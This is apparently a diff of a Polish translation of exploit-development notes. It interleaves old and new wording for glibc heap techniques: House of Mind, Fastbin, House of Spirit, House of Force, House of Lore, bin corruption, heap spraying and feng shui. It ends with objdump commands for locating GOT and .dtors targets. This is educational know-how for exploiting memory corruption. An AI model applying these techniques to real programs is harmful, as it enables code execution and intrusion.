|
||||
|
||||
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:\&main_arena \[1]
|
||||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
_int_free(ar_ptr, mem);
|
||||
\_int\_free(ar\_ptr, mem);
|
||||
|
||||
}
|
||||
|
||||
W \[1] sprawdzany jest rozmiar pola bitowego NON_MAIN_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wywołało heap_for_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 najmniej znaczących bajtów (w naszym przypadku z 0x0804a000 robi 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jak do struct heap_info)
|
||||
W \[1] sprawdza pole size bit NON\_MAIN\_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wykonało heap\_for\_ptr(), które wykonuje and na “mem”, pozostawiając 2.5 najmniej znaczące bajty na 0 (w naszym przypadku z 0x0804a000 pozostawia 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jakby to był struct heap\_info)
|
||||
|
||||
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, heap_for_ptr(ptr)->ar_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd wyciąga wartość pierwszych 4 bajtów, ar_ptr)
|
||||
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i ma być zwolniony kawałek w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, okaże się, że heap\_for\_ptr(ptr)->ar\_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 and, które widzieliśmy wcześniej, a z tego uzyskuje się wartość 4 pierwszych bajtów, ar\_ptr)
|
||||
|
||||
W ten sposób wywoływane jest \_int_free(ar_ptr, mem), czyli **\_int_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int_free(mstate av, Void_t\* mem){**\
|
||||
W ten sposób wywołuje się \_int\_free(ar\_ptr, mem), to znaczy, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
…\
|
||||
bck = unsorted_chunks(av);\
|
||||
bck = unsorted\_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
p->bk = bck;\
|
||||
p->fd = fwd;\
|
||||
|
@ -369,33 +372,34 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w kawałku, który zostanie zwolniony.
|
||||
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co zapisaliśmy w kawałku, który ma być zwolniony.
|
||||
|
||||
Zgodnie z definicją unsorted_chunks, wiemy, że:\
|
||||
Tak jak definiuje unsorted\_chunks, wiemy, że:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Dlatego jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR_END\_\_-12, w ostatniej instrukcji zostanie zapisane w \_\_DTOR_END\_\_ adres drugiego kawałka.
|
||||
Dlatego, jeśli w av->bins\[2] zapiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zapisze się w \_\_DTOR\_END\_\_ adres drugiego kawałka.
|
||||
|
||||
Innymi słowy, na początku pierwszego kawałka musimy umieścić wiele razy adres \_\_DTOR_END\_\_-12, ponieważ av->bins\[2] z niego korzysta.
|
||||
To znaczy, w pierwszym kawałku musimy na początku wielokrotnie umieścić adres \_\_DTOR\_END\_\_-12, ponieważ stamtąd weźmie av->bins\[2]
|
||||
|
||||
W miejscu, gdzie znajduje się adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres tego pierwszego kawałka, aby heap_for_ptr() myślał, że ar_ptr znajduje się na początku pierwszego kawałka i z niego wyciągnął av->bins\[2]
|
||||
W drugim fragmencie, dzięki pierwszemu, nadpisujemy prev\_size za pomocą jump 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA
|
||||
W adresie, w którym wyląduje adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres do tego pierwszego kawałka, aby heap\_for\_ptr() myślał, że ar\_ptr jest na początku pierwszego kawałka i wyciągnie stamtąd av->bins\[2]
|
||||
|
||||
Następnie w fragmencie 2 umieszczamy wiele nops i ostatecznie shellcode
|
||||
W drugim kawałku i dzięki pierwszemu nadpisujemy prev\_size z jump 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA
|
||||
|
||||
W ten sposób zostanie wywołane \_int\_free(TROZO1, TROZO2) i będzie kontynuować instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size z TROZO2, który skoczy do shellcode.
|
||||
Następnie w kawałku 2 umieszczamy mnóstwo nops i na końcu shellcode.
|
||||
|
||||
Aby zastosować tę technikę, konieczne jest spełnienie kilku dodatkowych wymagań, które nieco komplikują payload.
|
||||
W ten sposób wywoła się \_int\_free(TROZO1, TROZO2) i wykona instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size kawałka 2, który przeskoczy do shellcode.
|
||||
|
||||
Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Sprawdzane jest, czy nowe miejsce, do którego się odwołujemy, również odwołuje się do nas.
|
||||
Aby zastosować tę technikę, należy spełnić kilka dodatkowych wymagań, które nieco komplikują ładunek.
|
||||
|
||||
Ta technika nie jest już stosowana, ponieważ zastosowano prawie tę samą łatkę, co dla unlink. Porównuje się, czy nowe miejsce, na które wskazuje, również wskazuje na niego.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
To wariant The house of mind
|
||||
Jest to wariant The house of mind
|
||||
|
||||
Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji \_int\_free()
|
||||
Interesuje nas, aby wykonać następujący kod, do którego dochodzi po pierwszym sprawdzeniu funkcji \_int\_free()
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
|
@ -405,139 +409,140 @@ p->fd = \*fb
|
|||
|
||||
\*fb = p
|
||||
|
||||
W ten sposób, jeśli umieścimy "fb" w adresie funkcji w GOT, pod tym adresem umieszczony zostanie adres nadpisanego fragmentu. Wymaga to, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
|
||||
W ten sposób, jeśli umieścimy w “fb” adres funkcji w GOT, w tym adresie umieścimy adres do nadpisanego kawałka. Aby to zrobić, konieczne będzie, aby arena była blisko adresów dtors. Dokładniej, aby av->max\_fast znajdowało się w adresie, który zamierzamy nadpisać.
|
||||
|
||||
Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av.
|
||||
Ponieważ w The House of Mind widzieliśmy, że kontrolowaliśmy pozycję av.
|
||||
|
||||
Jeśli więc w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1\], który wskaże na av->max\_fast
|
||||
Więc jeśli w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1], co wskaże na av->max\_fast
|
||||
|
||||
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie wskaże, ale to pozycja, która zostanie nadpisana).
|
||||
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie tym, na który wskazuje, lecz ta pozycja będzie nadpisana).
|
||||
|
||||
Dodatkowo musi być spełniony warunek, że fragment sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu to 8, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym fragmencie, na początku trzeba umieścić jump, który trafi w nops).
|
||||
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 8, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops).
|
||||
|
||||
Dodatkowo ten sam fałszywy fragment musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
|
||||
Dodatkowo, ten sam fałszywy kawałek musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
|
||||
|
||||
Ze względu na zera z \_DTOR\_END\_ i niewiele adresów w GOT, żaden z tych obszarów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos.
|
||||
Z powodu zer w \_DTOR\_END\_ i niewielkiej liczby adresów w GOT, żaden z adresów w tych sekcjach nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos.
|
||||
|
||||
Innym sposobem ataku jest przekierowanie **av** na stos.
|
||||
Innym sposobem ataku jest przekierowanie **av** do stosu.
|
||||
|
||||
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0\] i możemy tego użyć do nadpisania stosu.
|
||||
Jeśli zmodyfikujemy rozmiar, aby wynosił 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0] i możemy to wykorzystać do nadpisania stosu.
|
||||
|
||||
W tym celu nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w takim układzie: 4 bajty zerowe + EBP + RET
|
||||
Aby to zrobić, nie może być żadnego canary ani dziwnych wartości na stosie, w rzeczywistości musimy znajdować się w tym: 4 bajty zerowe + EBP + RET
|
||||
|
||||
4 bajty zerowe są potrzebne, aby **av** znajdował się pod tym adresem, a pierwszym elementem **av** jest mutex, który musi wynosić 0.
|
||||
4 bajty zerowe są potrzebne, aby **av** znajdowało się pod tym adresem, a pierwszy element **av** to mutex, który musi wynosić 0.
|
||||
|
||||
**av->max\_fast** będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
|
||||
**av->max\_fast** będzie EBP i będzie wartością, która posłuży nam do ominięcia ograniczeń.
|
||||
|
||||
W **av->fastbins\[0\]** zostanie nadpisany adresem **p** i będzie RET, dzięki czemu nastąpi skok do shellcode.
|
||||
W **av->fastbins\[0]** zostanie nadpisany adresem **p** i będzie RET, w ten sposób przeskoczy do shellcode.
|
||||
|
||||
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzenie.
|
||||
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie sporo śmieci, które pozwolą nam ominąć przeprowadzane sprawdzenie.
|
||||
|
||||
Dodatkowo musi być spełniony warunek, że fragment sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego fragmentu to 16, w tym fałszywym fragmencie wystarczy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym fragmencie, na początku trzeba umieścić jump, który trafi w nops, które znajdują się po polu size nowego fałszywego fragmentu).
|
||||
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 16, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops, które są po polu size nowego fałszywego kawałka).
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
W tym przypadku chcemy mieć wskaźnik do malloc, który może być modyfikowany przez atakującego (np. wskaźnik znajduje się na stosie podczas możliwego przepełnienia zmiennej).
|
||||
W tym przypadku staramy się mieć wskaźnik do malloc, który może być zmieniany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej).
|
||||
|
||||
W ten sposób możemy sprawić, że ten wskaźnik wskazuje dokądkolwiek. Jednak nie każde miejsce jest ważne, rozmiar fałszywego fragmentu musi być mniejszy niż av->max\_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego fragmentu musi wynosić 48.
|
||||
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby, gdziekolwiek byśmy chcieli. Jednak nie każde miejsce jest ważne, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretnie równy rozmiarowi żądanym w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku wywoływane jest malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
|
||||
|
||||
Na przykład, jeśli program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować modyfikowalny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, dzięki czemu 48 pozostaje z tyłu, jakby to była nagłówek size). Ponadto, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system\_mem.
|
||||
Na przykład, jeśli program pytałby użytkownika o liczbę, moglibyśmy wprowadzić 48 i skierować wskaźnik malloc do następnych 4 bajtów (które mogłyby należeć do EBP z nadzieją, że 48 znajduje się za nim, jakby to była nagłówek size). Dodatkowo, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
Jeśli to się spełni, gdy zostanie wywołane kolejne malloc, które powiedzieliśmy, że jest malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
|
||||
Jeśli to zostanie spełnione, gdy wywołane zostanie następne malloc, które powiedzieliśmy, że to malloc(40), zostanie przypisane jako adres adresu EBP. Jeśli atakujący również może kontrolować, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem, który chce.
|
||||
|
||||
Prawdopodobnie dlatego, że gdy zostanie zwolnione free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się fragment o idealnym rozmiarze dla nowego malloc(), który chce zarezerwować, więc przypisuje mu ten adres.
|
||||
Myślę, że tak jest, ponieważ w ten sposób, gdy to zwolni free(), zapamięta, że w adresie, na który wskazuje EBP stosu, znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chce być zarezerwowany, więc przypisuje ten adres.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
Wymagane jest:
|
||||
|
||||
* Przepełnienie fragmentu, które pozwala na nadpisanie wilderness
|
||||
* Wywołanie malloc() z rozmiarem zdefiniowanym przez użytkownika
|
||||
* Wywołanie malloc(), których dane mogą być zdefiniowane przez użytkownika
|
||||
* Przepełnienie kawałka, które pozwala na nadpisanie wilderness
|
||||
* Wywołanie malloc() z rozmiarem określonym przez użytkownika
|
||||
* Wywołanie malloc(), których dane mogą być definiowane przez użytkownika
|
||||
|
||||
Najpierw nadpisujemy rozmiar fragmentu wilderness bardzo dużą wartością (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty.
|
||||
Pierwsze, co się robi, to nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), w ten sposób każda prośba o pamięć wystarczająco dużą będzie traktowana w \_int\_malloc() bez potrzeby rozszerzania heap.
|
||||
|
||||
Następnie zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, tak jak stos. W av->top umieszczamy \&EIP - 8.
|
||||
Drugie to zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, jak stos. W av->top umieścimy \&EIP - 8.
|
||||
|
||||
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
remainder = chunck\_at\_offset(victim, nb);
|
||||
remainder = chunk\_at\_offset(victim, nb);
|
||||
|
||||
av->top = remainder;
|
||||
|
||||
Victim przechwytuje adres bieżącego fragmentu wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
|
||||
Victim zbiera wartość adresu aktualnego kawałka wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu i ilości bajtów żądanych przez malloc(). Dlatego, jeśli \&EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc() wyniesie:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
W ten sposób zostanie zapisana zmieniona wartość w av->top, a następne malloc wskaże na EIP i będzie można go nadpisać.
|
||||
W ten sposób w av->top zostanie zapisany zmieniony wartość, a następny malloc będzie wskazywał na EIP i będzie mógł go nadpisać.
|
||||
|
||||
Ważne jest, aby rozmiar nowego fragmentu wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar zostanie dokładnie w polu EBP stosu.
|
||||
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie złożone przez ostatni malloc(). To znaczy, jeśli wilderness wskazuje na \&EIP-8, rozmiar znajdzie się dokładnie w polu EBP stosu.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**Korupcja SmallBin**
|
||||
|
||||
Uwolnione fragmenty są umieszczane w bin w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Gdy fragment zostanie zwolniony, nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy fragment i poprzedni zwolniony może mu służyć, zostanie mu zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony fragment z unsorted bins zostanie umieszczony w odpowiednim binie.
|
||||
Zwolnione kawałki są wprowadzane do binu w zależności od ich rozmiaru. Ale zanim zostaną wprowadzone, są przechowywane w unsorted bins. Kawałek jest zwalniany, nie jest od razu umieszczany w swoim binie, lecz pozostaje w unsorted bins. Następnie, jeśli zarezerwowany zostanie nowy kawałek, a poprzedni zwolniony może być użyty, zostanie zwrócony, ale jeśli zarezerwowany zostanie większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
|
||||
|
||||
Aby dotrzeć do podatnego kodu, żądanie pamięci musi być większe niż av->max\_fast (zazwyczaj 72) i mniejsze niż MIN\_LARGE\_SIZE (512).
|
||||
Jeśli w binie znajduje się kawałek o odpowiednim rozmiarze, zwracany jest po odłączeniu:
|
||||
Aby osiągnąć kod podatny, żądanie pamięci musi być większe niż av->max\_fast (72 zazwyczaj) i mniejsze niż MIN\_LARGE\_SIZE (512).
|
||||
|
||||
bck = victim->bk; Wskaźnik na poprzedni kawałek, jedyna informacja, którą możemy zmienić.
|
||||
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze do tego, co jest żądane, zostanie zwrócony po odłączeniu:
|
||||
|
||||
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos do następnego zarezerwowanego kawałka, zostanie przypisany ten adres.
|
||||
bck = victim->bk; Wskazuje na poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
|
||||
|
||||
bck->fd = bin; Lista jest zamykana, wskazując na bin
|
||||
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następny zarezerwowany kawałek otrzyma ten adres
|
||||
|
||||
Wymagane jest:
|
||||
bck->fd = bin; Lista jest zamykana, sprawiając, że ten wskazuje na bin
|
||||
|
||||
Zarezerwowanie dwóch malloc, aby można było przeprowadzić przepełnienie pierwszego po zwolnieniu drugiego i umieszczeniu go w swoim binie (czyli zarezerwowano malloc większy niż drugi kawałek przed przepełnieniem)
|
||||
Wymaga:
|
||||
|
||||
Zarezerwowanie malloc, którego adres jest kontrolowany przez atakującego.
|
||||
Aby zarezerwować dwa malloc, tak aby do pierwszego można było przepełnić po tym, jak drugi został zwolniony i wprowadzony do swojego binu (to znaczy, aby zarezerwować malloc większy niż drugi kawałek przed przepełnieniem)
|
||||
|
||||
Celem jest to, że jeśli możemy przeprowadzić przepełnienie na stercie, która ma zwolniony kawałek poniżej i w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk i ten kawałek stanie się pierwszym na liście bin i zostanie zarezerwowany, bin zostanie oszukany i powiemy mu, że ostatni kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na przykład na stosie lub GOT). W rezultacie, jeśli zostanie ponownie zarezerwowany inny kawałek, a atakujący ma uprawnienia do niego, zostanie mu przydzielony kawałek na żądanej pozycji i będzie mógł w nią pisać.
|
||||
Aby zarezerwowany malloc, któremu nadano adres wybrany przez atakującego, był kontrolowany przez atakującego.
|
||||
|
||||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, aby zmodyfikowany kawałek wyszedł z nieuporządkowanych binów i został umieszczony w swoim binie.
|
||||
Celem jest następujące: jeśli możemy przepełnić heap, który ma pod sobą już zwolniony kawałek i w swoim binie, możemy zmienić jego wskaźnik bk. Jeśli zmienimy jego wskaźnik bk i ten kawałek stanie się pierwszym w liście bin, a zostanie zarezerwowany, bin zostanie oszukany i powie, że ostatni kawałek listy (następny do zaoferowania) znajduje się pod fałszywym adresem, który umieściliśmy (na stosie lub GOT, na przykład). W ten sposób, jeśli ponownie zarezerwowany zostanie inny kawałek, a atakujący ma do niego dostęp, otrzyma kawałek w pożądanej pozycji i będzie mógł w nim pisać.
|
||||
|
||||
Gdy już znajdzie się w swoim binie, należy zmienić mu wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
|
||||
Po zwolnieniu zmodyfikowanego kawałka konieczne jest, aby zarezerwowany został kawałek większy niż zwolniony, w ten sposób zmodyfikowany kawałek wyjdzie z unsorted bins i zostanie wprowadzony do swojego binu.
|
||||
|
||||
Następnie bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że uwierzy, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony kawałek, który nas interesuje.
|
||||
Gdy już będzie w swoim binie, nadszedł czas, aby zmodyfikować jego wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
|
||||
|
||||
Aby wykorzystać podatność jak najszybciej, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, zarezerwowanie kawałka większego od tego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co naruszony i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
|
||||
W ten sposób bin będzie musiał czekać na wywołanie malloc() wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego binu i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. A następnie zostanie zwrócony kawałek, który nas interesuje.
|
||||
|
||||
Aby zabezpieczyć się przed tym atakiem, używa się standardowej weryfikacji, czy kawałek "nie" jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd\* fałszywego kawałka wskazuje na victim na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim miejscu adres victim. W ten sposób kawałek wydaje się być prawdziwy.
|
||||
Aby podatność została wykonana jak najszybciej, idealnie byłoby: rezerwacja podatnego kawałka, rezerwacja kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, rezerwacja kawałka większego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), rezerwacja kawałka o tym samym rozmiarze co zmodyfikowany i rezerwacja drugiego kawałka o tym samym rozmiarze, a ten będzie wskazywał na wybrany adres.
|
||||
|
||||
Aby chronić ten atak, zastosowano typowe sprawdzenie, że kawałek “nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. To znaczy, w naszym przypadku, czy wskaźnik fd\* fałszywego kawałka wskazywanego na stosie wskazuje na victim. Aby obejść tę ochronę, atakujący powinien być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim adresie adres victim. Aby w ten sposób wyglądało to jak prawdziwy kawałek.
|
||||
|
||||
**Korupcja LargeBin**
|
||||
|
||||
Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512.
|
||||
Wymagane są te same wymagania, co wcześniej i jeszcze kilka, dodatkowo zarezerwowane kawałki muszą być większe niż 512.
|
||||
|
||||
Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i wymagane są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby ten rozmiar - nb był < MINSIZE.
|
||||
Atak jest jak poprzedni, to znaczy, trzeba zmodyfikować wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmodyfikować rozmiar zmodyfikowanego kawałka w taki sposób, aby ten rozmiar - nb był < MINSIZE.
|
||||
|
||||
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się liczby bez znaku)
|
||||
Na przykład, ustawi to rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się unsigned)
|
||||
|
||||
Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.
|
||||
Dodatkowo wprowadzono łatkę, aby to jeszcze bardziej skomplikować.
|
||||
|
||||
**Rozpylanie sterty (Heap Spraying)**
|
||||
**Heap Spraying**
|
||||
|
||||
Polega na zarezerwowaniu jak największej ilości pamięci dla sterty i wypełnieniu jej poduszką z nops zakończoną shellcodem. Dodatkowo jako poduszkę używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi nopsami, skok zostanie wykonany tam. Podstawową taktyką jest zarezerwowanie jak największej ilości pamięci, aby sprawdzić, czy jakiś wskaźnik zostanie nadpisany, i skok do 0x0c0c0c0c w nadziei, że tam będą nopsy.
|
||||
Zasadniczo polega na rezerwowaniu całej możliwej pamięci dla heapów i wypełnianiu ich poduszką nops zakończoną shellcode. Dodatkowo, jako poduszkę używa się 0x0c. Ponieważ spróbuje się przeskoczyć do adresu 0x0c0c0c0c, a więc, jeśli nadpisze się jakiś wskaźnik, do którego się wezwie, z tą poduszką, przeskoczy się tam. Zasadniczo taktyka polega na rezerwowaniu jak najwięcej, aby zobaczyć, czy nadpisze się jakiś wskaźnik i przeskoczy do 0x0c0c0c0c, mając nadzieję, że tam będą nops.
|
||||
|
||||
**Feng Shui sterty (Heap Feng Shui)**
|
||||
**Heap Feng Shui**
|
||||
|
||||
Polega na ustawieniu pamięci poprzez rezerwacje i zwolnienia w taki sposób, aby między wolnymi kawałkami pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków.
|
||||
Polega na tym, aby za pomocą rezerwacji i zwolnień zasadzić pamięć w taki sposób, aby między kawałkami zarezerwowanymi znajdowały się kawałki wolne. Bufor do przepełnienia znajdzie się w jednym z jajek.
|
||||
|
||||
**objdump -d executable** —> Rozkłada funkcje\
|
||||
**objdump -d ./PROGRAMA | grep FUNCTION** —> Pobiera adres funkcji\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Aby sprawdzić, czy to na pewno nasz shellcode i uzyskać kody operacyjne\
|
||||
**objdump -d wykonawczy** —> Disas funkcje\
|
||||
**objdump -d ./PROGRAMA | grep FUNKCJA** —> Uzyskaj adres funkcji\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i wyciągnąć OpCodes\
|
||||
**objdump -t ./exec | grep varBss** —> Tabela symboli, aby uzyskać adresy zmiennych i funkcji\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adresy funkcji biblioteki (GOT)\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adresy funkcji z bibliotek (GOT)\
|
||||
**objdump -d ./exec | grep funcCode**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyświetla adres puts do nadpisania w GOT\
|
||||
**objdump -D ./exec** —> Rozkłada WSZYSTKO aż do wpisów plt\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyciąga adres puts do nadpisania w GOT\
|
||||
**objdump -D ./exec** —> Disas WSZYSTKO do wpisów w plt\
|
||||
**objdump -p -/exec**\
|
||||
